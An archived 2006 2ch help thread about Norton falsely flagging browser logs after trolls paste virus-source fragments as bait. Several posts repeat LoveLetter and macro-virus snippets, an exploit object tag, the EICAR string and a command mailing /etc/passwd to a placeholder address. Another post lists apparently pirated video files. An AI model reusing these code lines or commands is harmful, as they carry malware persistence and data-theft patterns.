ノートンがvbsウィル� ..
577:ひよこ名無しさん
06/06/13 14:13:25
特定のスレに擬似ウィルスコード貼り付ける奴がいて困ってます。
ノートンのauto protect と手動スキャンで、
専ブラを除外するように設定してるんですが、スレを開くとエラーになってしまいます。
URLﾘﾝｸ(ansitu.xrea.jp)
このサイトに書かれてる、信頼のアドレスを追加の設定はしました。
エラーのログを取得して、弾かれて、
有志さんの誤反応無効化スクリプトで書き換えて、
時間たつのまってから閲覧。しかもレス番はズレでわけわかめ
という状態です。
何かうまく弾く方法はないんでしょうか？
578:ひよこ名無しさん
06/06/13 20:49:00
>>577
きちんと専ブラのログを除外する
579:577
06/06/14 13:32:40
>>578
僕の分かるように１～１０までしっかりすべてと教えて下さい。
さっさと、教えろボケこのやろう
∧＿∧
,,,,,,,,,,,,,,,∧,,∧ （ ´∀｀） ＼
～′,,,,,,,,,,ミ,,ﾟДﾟ彡 / つ℃━━━━━━
UU""""U U ～(_つ つ ＼へへ＿ ｜
――――――――｜ . ｜
｜ ｜
｜へ＿＿ . ｜
｜ ｜
へ＿＿＿＿へ＿＿/＿＿＿へへ＿＿へ＿＿＿＿＿＿ ｜
｜
｜ ｜
（（ ｜ ））
｜ ｜
｜ ｜
｜
｜～～～ヽ｀∀´>ヾ〕∈
580:ひよこ名無しさん
06/06/17 22:54:14
>>2ё
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!URLﾘﾝｸ(www.loadcash.biz) type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
???
581:ひよこ名無しさん
06/06/18 17:52:54 k4PxNBCi
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!URLﾘﾝｸ(www.loadcash.biz) type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1))
582:ひよこ名無しさん
06/06/18 18:33:56
583:ひよこ名無しさん
06/06/20 00:04:58
時々スレを転々としてると、急に変な改行になるんですが（文と文の隙間が全部空いてしまう）
これってウイルスに侵されてるのでしょうか？
584:ひよこ名無しさん
06/06/20 01:18:31
l'vﾍ
ﾊ ┌( ;/ ﾄ, ,、 rﾍ r'^ﾅrジ-z
__}ヽ,__ (ヽ/ス_r^フしz,り い)ｎ／ｲr～^′
'っヾ､r'__ |ﾚ'ノ_C'入彳勺ｿメろ_ｊ／し-,_
｀フ ヾ勹_| <_r' !|刀_｣r''>||／⌒(_rﾍ-‐'
＜_ゝし||ﾌぅ（ひzメ__ゝ'l !'そ
~zヾ|て ､l レ^ //'| |'~
| | ヽl｜ // }｜
| :! ｜| | | ,/ ,'
| :{. |｜ | |/ / すいません、ちょっと通りますよ・・・
l !｜| | | /
ヽ ヽ.|/ //
_,r)_ j (_,( ciz
,ﾉこ_- __,ｰヽ ん|Zゥ ﾚz ｚjそ_
} ... 丿 ろ､,_!|乙7ﾑLそ/し-z
ﾉ""'' 一（ ｀う.l !シ/ア了//_⊂,
／､__ ヽ ^'| |~//,/_ソ ハr^
/ ...... ーl | |// /／ノ
/~"' ､＿_／ ,,,...} |/ /／／ _Jv ,､ _,、
{' _ `y′ 一 / r'～(_ノ z'jく|!ぞぅﾝそ
人 =/‐- ﾊ 丿" ''( ぅY||/ｿ'／｀′
ヽ '' / __,, / / ‐- '''） | ﾚ'//
'∨ X. }''' ....ノ ﾉﾑxく
j ー／ /== ノ'ヽ ｒご ｰ（
/=‐ r'´-ヽ } ｰ/'''' { ,ﾉ'' y' ...）
,' _,, 人 ''"｀、 ﾉ.. '' ノ`ヽ ''"ヽ / ｰ人.... （
{ー / ＼ -'} / ／ ＼'''}` （'' ィ´ ＼_ヽ
ﾊ 〈 ）八 （ ｆ )ﾊ. ）ﾉ _)ﾉ
ヽ ） （( ）ﾉ ／ ｰ'′
585:dirsystem&"\MSKernel32.vbs
06/06/20 01:55:47
>>568
586:あぼ～ん
06/06/20 01:56:38
>>568 >>585
587:ひよこ名無しさん
06/06/20 02:15:03
>>583
シリア語ブラクラ
これを使うといい。
URLﾘﾝｸ(www.geocities.jp)
588:ひよこ名無しさん
06/06/20 23:24:54
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!URLﾘﾝｸ(www.loadcash.biz) type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1))
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
589:ひよこ名無しさん
06/06/21 12:18:24 nQsDrOZ+
このスレに貼ってあるソースは大丈夫なのですか？
例えば>>580-581とか、>>588とか…
このスレだと反応ないんですが、何か特別なのでしょうか？
590:ひよこ名無しさん
06/06/21 14:23:42 fhcCUte2
テスト
591:ひよこ名無しさん
06/06/21 20:24:45
>>589
心配しすぎだと思うんです（＞＜）
これが動いたら2chは大騒ぎになっちゃうと思うんです（＞＜）
592:ひよこ名無しさん。
06/06/21 23:50:37
NGワードあぼ～んすればおｋ
593:ひよこ名無しさん
06/06/22 20:26:16 l9A+tZtH
誘導されてきました
導入しているマカフィーでスキャンかけても何の反応もなかったんですが、
ノートンのオンラインスキャンやってみると
感染ファイルが二個みつかって
C:\Program Files\gikoNavi\Log\2ch\aasaloon\Folder.idx は Bloodhound.Exploit.6 に感染しています。
C:\Program Files\gikoNavi\Log\2ch\aasaloon\subject.txt は Bloodhound.Exploit.6 に感染しています。
と言う表示が出ました。
これは危険なんでしょうか。それともただのウィルスコード？
594:ひよこ名無しさん
06/06/22 20:27:57
>>593
ただのウィルスコード
これで消せる。
URLﾘﾝｸ(www.geocities.jp)
595:ひよこ名無しさん
06/06/22 20:28:13
>>593
ノートンがvbsウィルスのソースに誤反応３
ｽﾚﾘﾝｸ(pcqa板)
596:ひよこ名無しさん
06/06/22 20:28:47
>>594
cen乙
597:ひよこ名無しさん
06/06/22 20:30:04
>>594-596
レス早いなｗ
598:ひよこ名無しさん
06/06/22 20:41:25
粘着してリロードしながら監視してるんだろ？www
599:ひよこ名無しさん
06/06/22 20:44:02 l9A+tZtH
>>594
ありがとうございます。
見分けるコツみたいなものはあるんですか？
600:ひよこ名無しさん
06/06/22 22:08:53
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!URLﾘﾝｸ(www.loadcash.biz) type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
601:ひよこ名無しさん
06/06/23 00:17:41
ノートンがvbsウィルスのソースに誤反応３
ｽﾚﾘﾝｸ(pcqa板)
テンプレにでも入れるか・・・？
脳豚使うなら自力で何とかしろよ・・・
602:ひよこ名無しさん
06/06/23 00:18:16
誤爆
603:ひよこ名無しさん
06/06/23 18:23:08
＿＿＿ゲームキャラ板でもﾓﾆｶﾜｲｲモニカ様＿＿＿
ｽﾚﾘﾝｸ(gamechara板)
このスレを開くと閲覧できないどころか
一回再起動しないとgame10鯖に繋がらなくなる障害が出るんですが
ＮＧコードとかどう打って対処すればいいのですか？
604:ひよこ名無しさん
06/06/23 18:23:47 6hQn7KgH
使用２ｃｈブラウザは Ｊａｎｅ Ｄｏｅ Ｓｔｙｌｅです。
605:ひよこ名無しさん
06/06/23 18:25:27
>>604
回答めんどいからこのスレ内検索して
606:ひよこ名無しさん
06/06/23 22:47:16
>>599
専用ブラウザでスレを取得した「だけ」で反応したら間違いなく誤反応なので心配無用。
スレに貼られたURLをクリックして反応したならウィルスの疑いあり。
てゆーか、やたらとクリックしちゃダメ。
607:ひよこ名無しさん
06/06/28 16:58:31
age
608:ひよこ名無しさん
06/06/29 15:09:12 C6iUe2mV
Your attention,Please. みなさまに申し上げます
fire drill 火災避難訓練
609:ひよこ名無しさん
06/06/29 19:41:48
age
610:ひよこ名無しさん
06/06/29 21:38:29
ｽﾚﾘﾝｸ(pcqa板:111-番)
111 名前：ひよこ名無しさん 投稿日：2006/06/29(木) 21:33:23 ID:P5JFBD43
キャップもらってパスワードもらって、名前欄に書き込んでも、
○★ にならなくて○◆になってしまうんですが、どうしてでしょうか
113 名前：愛新覚羅 ◆WjkbiI..A2 投稿日：2006/06/29(木) 21:34:04 ID:???
>>111
ｳｲﾙｼかな
611:ひよこ名無しさん
06/06/30 22:56:15 2Lq/lYYu
テスト
612:ひよこ名無しさん
06/07/01 00:07:11 Dt6nkhA2
ｽﾚﾘﾝｸ(arc板:16番)
コレって書き込んだ本人がウイルスに感染しているって事でしょうか？
613:ひよこ名無しさん
06/07/01 00:08:55
>>612
ノートン先生を誤反応させるためにわざと貼ってるんだよ
614:612
06/07/01 00:39:41 Dt6nkhA2
ただ、これ書いた人がカードゲームのトレードスレに
自分のメルアド出してブログバレしてます
615:ひよこ名無しさん
06/07/01 23:18:07
複雑な自爆では？
616:ひよこ名無しさん
06/07/02 19:36:03 ytfN9V0/
ノートン２００６でAutoprotectの設定で、ログのフォルダを除外したいのですが、
それらしい項目が分かりません。
Norton AntiVirusオプションの項目ではないのでしょうか？
617:ひよこ名無しさん
06/07/02 20:00:00 ytfN9V0/
事故解決しました。
618:ひよこ名無しさん
06/07/03 19:55:32 pfnK+d5L
専ブラ（Jane）での書き込みの妨害も先生の仕業？
更新かけて解決するのであれば（期限切れ）、
してやらんでもないのだが・・・。
619:ひよこ名無しさん
06/07/03 22:30:42
>>618
> 更新かけて解決するのであれば（期限切れ）、
それはないな。FW（が入っているのであれば）一時的に切ってみるしか
620:618
06/07/03 23:15:21 pfnK+d5L
>>619
いや、プラウザからなら書き込めるんですよ。
ノートン有効→一部の板の閲覧不可（IE、専ブラ共に）
無効→共に閲覧は可能 専ブラでの書き込みが不可。
ってわけでこの板だけは、IEからしか書き込めないんです・・・。
まぁ、通信を許可すれば解決なんでしょうが・・・。
いろいろやってみます。 どもでした。
621:ひよこ名無しさん
06/07/04 02:40:17
まったくの初心者ですが
ノートンインターネットセキュリティー2006での誤反応対策を教えてください
既出でしたらアンカーでもいいのでお願いします
622:ひよこ名無しさん
06/07/04 08:28:52
>>621
>>1->>620を読め
623:ひよこ名無しさん
06/07/04 10:11:31
「まったくの初心者」
だからどうした？このスレを100回読んで知識増やせ。
624:ひよこ名無しさん
06/07/04 20:16:10 Bwi55Fwo
スレを開いたら突然ウィルスに感染したんですがurlを直接踏まなくても
感染するウィルスはあるんですか？
625:ひよこ名無しさん
06/07/05 11:14:56
>>624
>>1->>620を読め
626:ひよこ名無しさん
06/07/05 17:10:28 xPsQC9iJ
, --- ､_
／ミミミヾヾヽ､＿
∠ヾヾヾヾヾヾjj┴彡ﾆヽ
/ , -ー‐'"´´´ ヾ.三ヽ
,' / ヾ三ヽ
j | / }ミ i
| | / /ミ !
} | r､ l ﾞiミ __」
|]ﾑヽ､_ __∠二､__,ｨ|/ ｨ }
| ￣｀ﾐｌ==r'´ / |lぅ lj 私が原田ウィルス作者ですが何か？
「!ヽ､_×___j ヽ､× -' ﾚ'r'/
`! j ヽ j_ノ
', ヽｧ_ '┘ ,i
ヽ ___'...＿_ i ハ__
ヽ ﾞ二二 ` ,' ／／ 八
ヽ ／'´ / ヽ
|ヽ､＿_, '´ / ／ ＼
627:ひよこ名無しさん
06/07/07 03:17:23
>>577
遅ﾚｽだけど一応。
URLﾘﾝｸ(mickey.mirv.net)
↑みて最新のｱﾄﾞﾚｽ設定しる
628:ひよこ名無しさん
06/07/15 01:31:41 668g3rrq
こんなPCはネットにつなぐな！ 3日間放置した無防備PCの結末は？
URLﾘﾝｸ(arena.nikkeibp.co.jp)
以下すべて日本語対応で無料。
ブラウザ：Firefox URLﾘﾝｸ(www.mozilla-japan.org)
メーラー：Thunderbird URLﾘﾝｸ(www.mozilla-japan.org)
上記2種の拡張（URLﾘﾝｸ(beau.g-com.ne.jp)）
スパイウェア対策：URLﾘﾝｸ(www.geocities.jp)
ウィルス対策：avast! URLﾘﾝｸ(www.forest.impress.co.jp)
適当なルーター：BUFFALO BBR-4HG URLﾘﾝｸ(netspeed.studio-radish.com)
無料のウイルス対策ソフトなどのセキュリティソフト一覧
URLﾘﾝｸ(www.geocities.co.jp)
セキュリティ板
URLﾘﾝｸ(pc8.2ch.net)
629:ひよこ名無しさん
06/07/23 19:35:23 XNQAeCHC
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!URLﾘﾝｸ(www.loadcash.biz) type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1))
630:ひよこ名無しさん
06/07/24 00:49:37
できれば既出のものじゃなくて
新しいの一行づつ張ってほしいなぁ。
631:ひよこ名無しさん
06/07/29 23:32:33
2ＣＨ自体、５月からはじめました。
ノートンがなんだかよくわかりませんが、ある掲示板で症状を書き込んだところ
ノートン先生かといわれました。
症状としては、かんじなどを変換すると候補がでますが、するとその時点でＩＥが
強制終了してしまいます。
2ＣＨはＩＥでみています。最初から。
これ、直るのでしょうか？
パソコン使えないとネットで就職活動もできず困っています。
どうかよろしくお願いします。
632:ひよこ名無しさん
06/07/29 23:59:23
このスレとは関係ないような・・・
633:ひよこ名無しさん
06/07/30 00:06:37
>>631
ですけど、感染したときにLOVE-LETTERなんとかというものが画面に表示されました。
そのときなんだかわからなかったので、続行のボタンを押しました。
漢字を変換するとＩＥが落ちてしまうので、最初に出てきた感じで該当するものが泣ければ
そのままにしています。
なんとかならないでしょうか。
634:ひよこ名無しさん
06/07/30 00:40:34
ここはウイルス対策ソフトの「誤反応」のスレです。
ウイルスにほんとに感染してる件ならスレ違い
635:ひよこ名無しさん
06/07/30 03:56:39
>>633
よく分からないならクリーンインストールしろ。
それも出来ないなら就職浪人決定。
636:ひよこ名無しさん
06/07/30 19:55:34
クリーンインストールってなに？
637:ひよこ名無しさん
06/07/30 20:12:01
おまえの頭を入れ替えること
638:ひよこ名無しさん
06/07/31 00:58:59
つまらん。０点。>>637
639:ひよこ名無しさん
06/07/31 01:59:16
女王様の椅子取りゲーム
640:ひよこ名無しさん
06/08/03 17:37:02 oF+rx1Q5
>>636
ぐぐっておいてやった。参考にしる。
URLﾘﾝｸ(www.google.co.jp)
URLﾘﾝｸ(www.google.co.jp)
URLﾘﾝｸ(www.google.co.jp)
URLﾘﾝｸ(www.google.co.jp)
URLﾘﾝｸ(www.google.co.jp)
どれも似たような内容なので、好きなのを選べばいいべさ
641:ひよこ名無しさん
06/08/10 13:48:08
ウイルスコードの誤反応ではありませんが、
ノートンを切らないとＰＣＱＡ板に入れなくなってしまいました。（進入検知が誤反応）
この場合はどうすればいいでしょうか？
642:ひよこ名無しさん
06/08/10 15:08:46
>>641
ノートンを切ればいいと思います。
643:ひよこ名無しさん
06/08/10 16:07:02
>>641
２ｃｈを見ようとすると「侵入を検出して遮断しました。」というダイアログが表示されて
２ｃｈを見れなくなってしまう問題のまとめページ。
URLﾘﾝｸ(mickey.mirv.net)
ノートン誤作動対策本部
URLﾘﾝｸ(qb5.2ch.net)
644:ひよこ名無しさん
06/08/10 18:08:02
<<642<<643㌧
645:ひよこ名無しさん
06/08/12 15:29:22
質問お願いします。
ノートン側のオプションから除外指定するとき、
*.dbx
*.nch
というのが除外の欄に書いてあったのですが、これは最初からそうなのでしょうか？
例えばノートン自体が攻撃されて書き換えられる可能性とかありますか？
646:ひよこ名無しさん
06/08/12 17:20:14
>>645
デフォルトでそうなってるから心配すんな
647:645
06/08/13 06:13:39
>>646
ありがとございます。
648:ひよこ名無しさん
06/08/14 01:05:42
マカフィーでもコード貼られたログファイル消されて見れないんだけどどうすればいい？
649:ひよこ名無しさん
06/08/15 01:23:16
>>648
>>17
ｽﾚﾘﾝｸ(sec板:28-29番)n
ｽﾚﾘﾝｸ(sec板:298-305番)n
650:ひよこ名無しさん
06/08/16 18:54:56
でも、ノートン自体は反応しても実際にウイルスではないんですよね？
651:ひよこ名無しさん
06/08/16 22:35:50
だからスレタイにも誤反応って書いてあるだろ
652:ひよこ名無しさん
06/08/17 02:53:34
確認しただけだろ。
頭固てえな。
653:ひよこ名無しさん
06/08/20 16:12:51
>643
この対応ってNISだけですよね。
自分ノートンアンチウイルスの方なんだが、やっぱ誤作動する。
これはどう解除すればいいんだ？
654:ひよこ名無しさん
06/08/20 21:24:08
>>653
>>643末尾に挙げられている過去ログでレス番727あたりから読んでみるといいかも
655:ひよこ名無しさん
06/08/22 03:27:14 NKrNf7Jc
URLﾘﾝｸ(mickey.mirv.net)を見て
>タスクトレイのNISアイコンを左クリック＞「Norton Internet Securityを開く」
をやってみたのですが左クリックをしても何も出てきません。
右クリックなら「Norton Anti Virusを開く」「Ａｕｔｏ Ｐｒｏｔｅｃｔを無効にする」
「Norton Antiオプション」の三つのメニューが出るんですが、
どうすればNorton Internet Securityを開くことができるんでしょうか。
656:ひよこ名無しさん
06/08/22 06:49:12
>>655
もしかしてNAVしかインストールしてないとか？
URLﾘﾝｸ(mickey.mirv.net) には説明ないけど
NAVでも誤反応する。>>654参照
657:ひよこ名無しさん
06/08/24 21:19:27
■２ちゃんねる 初心者が安心して質問できるスレッドガイダンス (ノートントラップ全般への対策法)
URLﾘﾝｸ(ansitu.xrea.jp)
■２ch NIS問題まとめページ
URLﾘﾝｸ(mickey.mirv.net)
■特定のドライブ、フォルダ、ファイルをウイルススキャンの対象から除外する方法
URLﾘﾝｸ(service1.symantec.com)
・上記設定でまだ反応がある場合は、「専ブラプログラムフォルダ丸ごと」も同様に除外に追加してみて下さい。
・２ちゃんねる専用ブラウザの読み込み禁止単語機能に、
「v bs」、「O nload」、「o nload」、「L OVE-LETTER」、「M acro」、「n osuch」、「E ICAR-STANDARD-ANTIVIRUS-TEST」などの
単語を登録しておきましょう。（※ 単語の途中一箇所スペース空けてるんで詰めて登録して下さい）
・各専用ブラウザのスレッド情報も参照して下さい。
・NIS(NPF)のファイアーウォールを誤作動させるコード文字列に関して → 応急対策を参照
・タスクトレイのノートンアイコンをクリック → NISを無効にする (5分) →
NIS無効中に専用ブラウザでスレッドをリロード取得 → NISを有効に戻す （※この方法でもNPFトラップ回避可能）
■いきいき Wiki - ノートンインターネットセキュリティに関するＦＡＱ
URLﾘﾝｸ(info.2ch.net)
658:ひよこ名無しさん
06/08/29 22:27:40
727 名前： 動け動けウゴウゴ２ちゃんねる 投稿日： 2006/03/26(日) 16:24:59 ID:pwaEyKGo0
>>726
参考までに・・・ただし、自己責任で
ノートンアンチウイルス2006 Ver.1
ｽﾚﾘﾝｸ(sec板:996番)
＞ まず、オプション→インターネット→インターネットワーム防止→除外の設定で、
＞ HTTP MSIE JavaScript OnLoad Rte CodeExecのチェックを外す。
＞ そのあと、オプション→インターネット→インターネットワーム防止→
＞ AutoBlockルール→現在、AutoBlockで遮断しているコンピュータで、
＞ 遮断解除してok。で、ok。
659:ひよこ名無しさん
06/09/01 17:54:57 O8GwKufV
てす
660:ひよこ名無しさん
06/09/01 19:19:06
と
661:ひよこ名無しさん
06/09/05 22:30:31
#include <mmlite.h>
#include <stdlib.h>
#include <tchar.h>
UINT __cdecl _ttoh(const _TCHAR *String)
{
UINT Value = 0, Digit;
_TCHAR c;
while ((c = *String++) != _EOS) {
if (c >= '0' && c <= '9') Digit = (UINT) (c - '0');
else if (c >= 'a' && c <= 'f') Digit = (UINT) (c - 'a') + 10;
else if (c >= 'A' && c <= 'F') Digit = (UINT) (c - 'A') + 10;
else break;
Value = (Value << 4) + Digit;
}
return Value;
}
662:ひよこ名無しさん
06/09/10 21:32:48
>>1
＞＞2chブラウザのログ保存フォルダを「除外」に設定。
これがどういうことかもうすこし詳しく説明してください。
2chブラウザのログ保存フォルダとは、どこにあるのでしょうか。
除外に認定とは、何の除外に認定すればいいのでしょうか。
これだけでは全く意味がわかりません。
663:<body onload=window()>
06/09/10 22:26:11
[ 自主制作映画 ] [ ジャッカル ] 第 0012 話 ジャッカルがあるさ ( Rev 0001 ) ( 低画質 Ver ).avi 7,177,218 07818b50961750fbaef7124384ac2e70
[ 自主制作映画 ] [ ジャッカル ] 第 0037 話 クッキング・オブ・ジャッカル II ( Rev 0004 ) ( 低画質 Ver ).avi 9,789,864 22b1bd0222641a2ca3cdeb2176170e1b
!(映画アニメ) ドラえもん のび太と雲の王国.avi 361,081,856 65f122004a3545aac6ae276a9765bb3c
## ひぐらしのなく頃に - 暇潰し編 - 其の壱 「ヒナミザワ」.avi 147,861,504 d85b4c07df470706aae626d5c8579571
##(ドラマ)恋の時間 第07話[704×396 DivX6.xxHe-3].avi 378,019,316 53f9c9cba3b31e05d934d3e2bb0b8f3d
#289 ダウンタウンのガキの使いやあらへんで 第289回 [1995.09.03] 今日我々は豚を食べる!!＋トーク.avi 143,990,332 7616f03362cb813a456f5844a5bdb956
#DMS Night24.com アナルセックス サンドイッチ あや.avi 724,464,291 751e423a7fd2f543cbb3e624048051e0
664:ひよこ名無しさん
06/09/10 22:30:08
>>662
> 2chブラウザのログ保存フォルダとは、どこにあるのでしょうか。
使っている2ch専用ブラウザによって違います。
専用ブラウザを使っていない人には関係ありません。
> 除外に認定とは、何の除外に認定すればいいのでしょうか。
ウイルス対策ソフトの検知対象から除外するように設定します。
やり方はウイルス対策ソフトによって違います。
除外設定(「認定」ではなく「設定」)ができないウイルス対策ソフトもあります。
> これだけでは全く意味がわかりません。
以上の説明で全く意味がわからないなら、当面は気にする必要ありません。
実際にその現象に遭遇すれば自然とわかるようになるでしょう。
665:662
06/09/11 19:21:09
>>664
ミﾐ ヽヽヽヽﾘﾘﾉﾉノノ
ミ ,,､,､,､,､,､,､,､､ 彡
r､r.r ､l i''" i彡
r |_,|_,|_,|| 」 ／' '＼ |
|_,|_,|_,|/⌒/ -･=-, ､-･=-│
|_,|_,|_人そ(^i ﾉ( ､_, )ヽ | ・・・で？
| ) ヽﾉ |. ノ !! |
| `".｀´ ﾉ ノ￣i |
人 入＿ノ´ ヽﾆﾆノ ﾉ＼
／ ＼＿／＼＼ /|＼＼
／ ＼ ト ──ｲ/ ヽヽ
666:ひよこ名無しさん
06/09/13 01:41:38
■２ちゃんねる 初心者が安心して質問できるスレッドガイダンス (ノートントラップ全般への対策法)
URLﾘﾝｸ(ansitu.xrea.jp)
■２ch NIS問題まとめページ
URLﾘﾝｸ(mickey.mirv.net)
■特定のドライブ、フォルダ、ファイルをウイルススキャンの対象から除外する方法
URLﾘﾝｸ(service1.symantec.com)
・上記設定でまだ反応がある場合は、「専ブラプログラムフォルダ丸ごと」も同様に除外に追加してみて下さい。
・２ちゃんねる専用ブラウザの読み込み禁止単語機能に、
「v bs」、「O nload」、「o nload」、「=w indow」、「L OVE-LETTER」、「M acro」、「n osuch」、「E ICAR-STANDARD-ANTIVIRUS-TEST」
などの 単語を登録しておきましょう。（※ 単語の途中一箇所スペース空けてるんで詰めて登録して下さい）
・各専用ブラウザのスレッド情報も参照して下さい。
・NIS(NPF)のファイアーウォールを誤作動させるコード文字列に関して → 応急対策を参照
・タスクトレイのノートンアイコンをクリック → NISを無効にする (5分) →
NIS無効中に専用ブラウザでスレッドをリロード取得 → NISを有効に戻す （※この方法でもNPFトラップ回避可能）
■いきいき Wiki - ノートンインターネットセキュリティに関するＦＡＱ
URLﾘﾝｸ(info.2ch.net)
667:ひよこ名無しさん
06/09/13 18:00:04
Norton Anti Virus 2003です。
>専用ブラウザのログ保存フォルダを「除外」に設定。
オプション→Norton Anti Virus→除外→新規→項目→フォルダが開いているアイコン→フォルダの参照から２ｃｈブラウザのログ保存フォルダを選んでクリック→項目のＯＫをクリック。
>◆2004/2003はNorton Anti Virusのオプションで手動スキャンとAuto-Protectでそれぞれ除外の指定をしてください。
手動で探しても、ウイルスソースが貼られたログは自動的に破棄されてしまっているので.datを選択することができません。idxだけ保存されていますが除外しても変わりなしです。
どうすれば見れるようになりますか？
668:ひよこ名無しさん
06/09/14 18:29:19
>>667
自分が引用してる文章をよく読めばわかるだろうが
datやidxなどの「ファイル」を除外するのではない
「フォルダ」を正しく除外していればログが自動的に破棄されることはない
669:ひよこ名無しさん
06/09/14 20:59:51
>>668
言われてやっと気付きました。ありがとうございます
670:ひよこ名無しさん
06/09/14 22:06:23
Norton Anti Virus 2004を使用しています。
手動スキャンとAuto-ProtectでLogフォルダの除外と
URLﾘﾝｸ(mickey.mirv.net) ←の対処はしてありますが、
たまーに一部のウイルスソースに引っかかってしまいます。
そうなると、しばらくインターネットセキュリティを無効ししないとならなくなります。
例えば最近だと、下記のウイルスソースです。
両方なのか、片方なのか分かりませんがウイルス警告がでます。
対処方法はありますか？
671:670
06/09/14 22:06:56
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
